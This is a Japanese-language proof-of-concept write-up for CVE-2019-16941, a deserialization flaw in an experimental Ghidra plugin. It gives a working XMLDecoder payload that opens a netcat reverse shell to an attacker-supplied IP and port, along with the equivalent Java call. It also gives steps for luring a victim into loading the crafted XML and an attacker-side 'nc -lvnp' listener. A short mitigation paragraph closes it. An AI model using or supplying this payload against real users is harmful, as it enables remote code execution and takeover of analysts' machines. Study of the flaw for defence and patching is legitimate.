
CVE-2019-16941 用 PoC
概念実証(PoC):
この脆弱性は、トリガーされるために複数の比較的起こりにくい条件を必要とするため、その悪用可能性は限定されます。しかし、任意のコード実行につながる可能性があるため、ペイロードの準備には少しの労力と理解しか必要ありません。
ペイロードの作成:
ターゲットに実行させるペイロードを作成するには、Ghidraに組み込まれているスクリプトを使用できます。これにアクセスするには、「Window」→「Script Manager」をクリックし、Code Browserに取り込んだ任意のバイナリに対して、デフォルトパラメータで「DumpFunctionPatternInfoScript.java」を実行します(ただし、出力を保存するフォルダへのパスが存在することを確認してください)。このスクリプトはXML出力ファイルを生成し、その後、影響を受けるコンポーネントにロードされます。

このXMLテンプレートは、Javaコードとしてデシリアライズされ、ユーザーに警告することなく静かに実行されるオブジェクトを注入するために使用できます。基本的に、悪意のあるコードは、XMLファイルの末尾、</java> クロージングタグの前に追加のオブジェクトとして挿入されます。リバースシェルを表すオブジェクトペイロードの例は次のとおりです:
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string>
</void>
</object>
上記は、次のJavaコードにデシリアライズされます:
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")
ペイロードの選択肢は無限です。XMLDecoderが必要とするXML形式に正しくシリアライズされている限り、あらゆるJavaコード(高度なマルウェアでさえ)がこの方法で実行される可能性があるためです。ペイロードをテンプレート内の他の場所に挿入する場合(さらに隠すため)は、デシリアライズ中に例外が発生し、ユーザーに警告される可能性があるため、注意が必要です。
実行:
ペイロードが実行されるプロセスは、Ghidra GUIを使用し、自動化することはできません。その代わり、被害者からの人的操作が必要であり、これはエクスプロイトが実行されるためのもう一つの条件となります。
このエクスプロイトが被害者のコンピュータで動作するには、GhidraでExperimentalプラグイン「FunctionBitPatternsExplorer」が有効になっている必要があります。これは、以下の手順に従って行うことができます:

次に、ユーザーは「Window」→「Function Bit Patterns Explorer」からプラグインを開き、「Read XML Files」機能を使用してXMLファイルをロードする必要があります。ただし、これは条件の面で別の課題を提起します。攻撃者は、ユーザーにXMLペイロードを自分のマシンにダウンロードさせる方法を必要とします。
被害者の視点に戻ると、この機能ではリスト内のXMLファイルを表示できないため、ディレクトリが空に見えても正常です。「ファイル名」テキストボックスに名前の入力を始めると表示されますが、いずれも選択せず、セレクタがディレクトリを指したままにしておくことが重要です。ファイルは自動的に選択されるためです。

ユーザーが「OK」をクリックする前に、攻撃者(joe)はリモートホストでリスナーを実行し、接続を待つ必要があります。これは、次を使用して簡単に実現できます:
$ nc -lvnp <listening_port>
実行後、結果は以下のように表示されます:

この脆弱性は、多くの条件が関与するため、大規模に悪用される可能性は極めて低いです。新しいパッチが提供されるまで、最善の緩和策は、影響を受ける実験的プラグインを無効化する(またはそもそも有効にしない)ことです。ただし、プラグインを使用する必要がある場合は、XMLファイルは信頼できるソースから取得する必要があります。